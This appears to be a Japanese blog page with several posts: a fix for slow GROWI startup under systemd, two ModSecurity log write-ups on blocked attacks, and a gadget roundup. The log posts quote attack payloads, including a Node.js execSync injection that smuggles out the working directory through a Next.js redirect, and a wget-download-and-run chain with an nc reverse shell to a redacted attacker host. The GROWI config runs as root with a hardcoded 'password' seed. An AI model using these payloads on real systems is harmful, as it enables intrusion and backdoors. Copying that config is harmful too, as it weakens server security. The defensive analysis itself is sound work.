以下、分析はGemini。

  1. systemdの過負荷: ConditionPathExists が大規模なディレクトリ(growi)をチェックする際、OSレベルでスキャン待ちが発生していた可能性。
  2. NVMの初期化コスト: 起動のたびに nvm.sh を読み込んでいた。これは数百行のシェルスクリプトを実行する処理であり、本番環境のサービス起動としては非常に重い。
  3. プロセスの二重管理: シェルスクリプトが npm プロセスを「子プロセス」として抱えていたため、systemdからの制御効率が悪かった。

何が問題だったのか(ボトルネックの正体)

今回の事象で最大の問題は、「本番環境のサービス起動に、開発環境のような動的な初期化プロセスを組み込んでいたこと」にありました。

具体的には、以下の3つの「待ち」が連鎖していました。

  1. システムチェックによる停滞 (ConditionPathExists) systemdのユニットファイルでGROWIのインストールディレクトリをチェックしていましたが、node_modules を含む膨大なファイル群をOSレベルでスキャンしに行った際、I/O待ちやカーネルレベルのオーバーヘッドが発生し、daemon-reload や起動そのものを著しく遅延させていました。
  2. シェルスクリプトによる二重起動のオーバーヘッド 起動のたびに nvm.sh をロード(source)し、Node.jsのバージョン判定を動的に行っていました。これは開発時には便利ですが、本番サービスとしては数百行のシェルスクリプトを毎回実行することになり、CPUリソースと時間を無駄に消費していました。
  3. プロセスの「親子関係」の不備 systemdから見ると、管理対象が「GROWI本体」ではなく「起動用のシェルスクリプト」になっていました。このため、GROWIが内部でハングアップしてもsystemdが検知できず、再起動もかからないという「運用上の死角」が生まれていました。

これを是正した設定ファイル

設定の前に!

  • 設定ファイルのバックアップ
sudo cp -pi /etc/systemd/system/growi.service /path/to/backup/growi.service.$(date +%Y%m%d)
sudo cp -pi /home/www-data/growi/growi-start.sh /path/to/backup/growi-start.sh.$(date +%Y%m%d)
  • diffによるバックアップ確認
sudo diff -u /path/to/backup/growi.service.$(date +%Y%m%d) /etc/systemd/system/growi.service 
sudo diff -u /path/to/backup/growi-start.sh.$(date +%Y%m%d) /home/www-data/growi/growi-start.sh

新しいファイル本体

  • /etc/systemd/system/growi.service
[Unit]
Description=GROWI Service
After=network-online.target mongod.service elasticsearch.service redis.service
Wants=network-online.target

[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/home/www-data/growi
ExecStart=/bin/bash /home/www-data/growi/growi-start.sh
Restart=always
RestartSec=10
StandardOutput=append:/var/log/growi.log
StandardError=append:/var/log/growi-error.log

[Install]
WantedBy=multi-user.target
  • /home/www-data/growi/growi-start.sh
#!/bin/bash

# Node.jsバイナリへのパスを直接追加 (nvm.shのロードを回避して高速化)
export PATH="/root/.nvm/versions/node/v20.19.2/bin:$PATH"
GROWI_DIR="/home/www-data/growi"

cd $GROWI_DIR

# 環境変数の設定
export NODE_ENV=production
export AUDIT_LOG_ENABLED=true
export FORCE_WIKI_MODE=private
export MONGO_URI=mongodb://localhost:27017/growi
export ELASTICSEARCH_URI=http://localhost:9200/growi
export REDIS_URI=redis://localhost:6379
export PASSWORD_SEED=password

# execにより、このシェル自体をnpmプロセスに切り替える
exec npm run app:server

※このpasswordは、旧設定をそのまま利用します。でない場合、「Growiにログインできない」という地獄が待っています。

ファイル差し替え後の挙動

  • systemdリロード
sudo systemctl daemon-reload
  • growi再起動
sudo systemctl restart growi.service
  • growi再起動確認
systemctl status growi.service

active(running) を確認します。

その後、

  1. growiが起動する
  2. 新しいセッション(ゲストセッション)で管理者アカウントにログインできる
  3. 一通りの操作 (Wikiページの作成や編集)が行えればOKです。

設定の比較

■ systemd ユニットファイル (growi.service)

項目旧設定 (遅延の原因)新設定 (最適化済)
依存関係Afterが分散、Redisの指定なしAfter/WantsにRedis含め統合
パスチェックConditionPathExists (5分停滞の疑い)削除(高速化に寄与)
実行ユーザ指定なし (デフォルト)User=root / Group=root 明示
作業ディレクトリスクリプト内で cdWorkingDirectory で定義
再起動設定Restart=no (手動復旧が必要)Restart=always (10秒後に自動復旧)
ログ管理標準出力のみ (systemdログに混在)/var/log/growi.log に直接出力

■ 起動スクリプト (growi-start.sh)

項目旧設定 (遅延の原因)新設定 (最適化済)
Node環境構築source nvm.sh (数秒〜数十秒のロス)PATH を直接追加 (0秒)
環境変数\(バックスラッシュ)連結 (ミスしやすい)export 方式 (確実で読みやすい)
実行コマンドnpm run app:server (子プロセスとして実行)exec npm... (プロセスを置き換え)

4. 対処方法のポイント

  • 「動的な環境構築」から「静的なパス指定」へ: 本番サーバでは nvm を毎回読み込む必要はありません。パスを直接通すことが最速の解決策でした。
  • systemdの責務を明確にする: ディレクトリの存在チェックやパス移動はスクリプトではなく、ユニットファイルの WorkingDirectory 等に任せることで、systemdの管理サイクルが正常化しました。
  • プロセスの直結 (exec): OS (systemd) -> Bash -> npm となっていた階層を、exec で OS (systemd) -> npm に直結させたことで、シグナルの伝達やメモリ効率が改善しました。

今後のメンテナンス

Node.jsのバージョンを変更した際のみ、growi-start.sh 内の v20.19.2 というパス文字列を書き換えるだけで対応可能です。

【ログ記録】Next.js/Node.js環境を標的にしたサンドボックス脱出と情報窃取試行

2025年12月31日早朝に検知された攻撃ログ。前回の単純な破壊工作とは異なり、システムの内部情報(カレントディレクトリ等)を奪取し、それをクエリパラメータとして外部へ持ち出そうとする「偵察型RCE」の典型例だったのでメモをしておきます。

検知ログの概要(匿名化済み)

[Wed Dec 31 05:25:08 2025] [security2:error]
[ModSecurity: Warning] [ID "934100"] [Severity: CRITICAL]
[Message: Node.js Injection Attack 1/2]
[Matched Data: process.mainModule.require('child_process').execSync('pwd')]

攻撃ペイロードの構造解析

今回の攻撃者は、Next.jsのサーバーアクションや特定のSSR(サーバサイドレンダリング)の脆弱性を想定した、非常にテクニカルなコードを注入しています。

JavaScript実行環境への介入

var res = process.mainModule.require('child_process').execSync('pwd').toString().trim();
  • process.mainModule を経由して、サンドボックス化されている可能性のある環境から child_process(OS操作モジュール)を強制的に呼び出しています。
  • execSync('pwd') を実行することで、「現在、サーバのどのディレクトリでプログラムが動いているか」という、次なる攻撃(設定ファイルの奪取など)のための足がかりとなる情報を取得しようとしています。

Next.jsの内部挙動を悪用した情報の持ち出し

throw Object.assign(new Error('NEXT_REDIRECT'), {
    digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

ここが非常に巧妙だと思った点。Next.jsがリダイレクトを処理する際の内部エラー NEXT_REDIRECT を意図的に投げ(throw)、そのエラーオブジェクトの中に、先ほど取得したディレクトリ情報(${res})を埋め込んでいます。

  • これにより、攻撃者のブラウザ(あるいはボット)は、/login?a=/home/www-data/... というURLに強制的に飛ばされます。
  • 攻撃者は自分のサーバのアクセスログを見るだけで、ターゲットサーバの内部パスを手に入れることができる仕組みです。

防御側の対応と結果

  • 検知: ModSecurity CRSの 934100(Node.js Injection)が、child_processexecSync といった危険な関数呼び出しを完全にパターンマッチング。
  • 阻止: 前回同様、アプリケーション層に到達する前に403遮断(設定により404応答)。
  • 分析: 攻撃者はRedmine(Ruby on Rails)に対し、あえてNode.js/Next.js用の高度なペイロードを投げています。これは「何で動いているか分からないが、とりあえず流行りの脆弱性コードを全部試す」という、 スキャンから自動攻撃までシームレスに移行するボット*の挙動です。

技術的考察:2025年を締めくくった「贈り物」

このログが示しているのは、攻撃側がいかに「多様な環境」を想定した多角的な攻撃を自動化しているかという事実です。

しかし、設置したModSecurityは、相手がRubyを狙おうがNode.jsを狙おうが、「外部から実行コードが注入される」という本質的な異常を逃しませんでした。

Linux Webサーバのログから見るモダンな攻撃例。

2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。

検知ログの概要(匿名化済み)

[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
 - RCE (Remote Code Execution): 65
 - SQLI (SQL Injection): 5
 - LFI (Local File Inclusion): 5
 - COMBINED_SCORE: 78

攻撃ペイロードの構造解析

攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。

プロトタイプ汚染(Prototype Pollution)

"__proto__": { "then": "$1:__proto__:then" }

これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。

OSコマンド注入(Remote Code Execution)

JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)

# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f; 
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立

3. 防御側の対応と結果

とはいえ、この手の防御はしっかりとWAFが検知していました。

  • 検知: ModSecurity(OWASP CRS)により、JSON構造内の不審なシグネチャを即座に捕捉。
  • 判定: 異常スコア 78。防御しきい値(通常5)を大幅に超過。
  • 結果: アプリケーション層に到達する前にApacheが通信を遮断し、404 Not Found(403から偽装応答)を返却。サーバへの影響はありませんでした。

解説メモ

この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。

しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。

漫画『ONE OUTS』にも引き合いに出された

「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」

が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。

2025年に買った中で印象的なガジェット。

2025年、いろいろと購入したガジェットがいくつもありました。その中で特に印象的だったもの。

ホグワーツ4寮の限定AL-Star

「今年は万年筆を買わなくていいな」というもくろみが大きく崩れ去り「このままでは余計な出費をしなくて済む」まで打ち砕いた逸品。

  • No Time
  • No Choise
  • Without Thinking

の衝動買いの見本のようなもの。改めて「万年筆で書く楽しさ」に気づかせてくれたものです。

Garmin Instinct E

こちらも、バッテリーの持ちが悪いというストレスを元から絶った形。より軽く、心持ち薄く、完全にフィットしてQoEが上がりました。

iPhone AIR

6年ぶりの機種変。これによって得られたものは

  • 長持ちしたバッテリー
  • 軽さ
  • 速さ。

世間ではいろいろ言われているようですが、自分に刺さったのがこの機種でした。

Thinkpad X13 2020年モデル

これは本当に大きいもの。

  • 打ちやすいキーボード
  • 長持ちしたバッテリー
  • 何よりもLinuxサーバに気軽にアクセスできるWindows環境

など、私の生活リズムそのものを変えたという形。

なお、このThinkPadは少し変化があるかもしれませんが

  • アナログによる記録
  • スマートウォッチという体調管理
  • スマートフォン、ノートPCという「デジタルの杖」

の三段構えは2026年も続けていくでしょう。

Page 1 of 100

Powered by WordPress & Theme by Anders Norén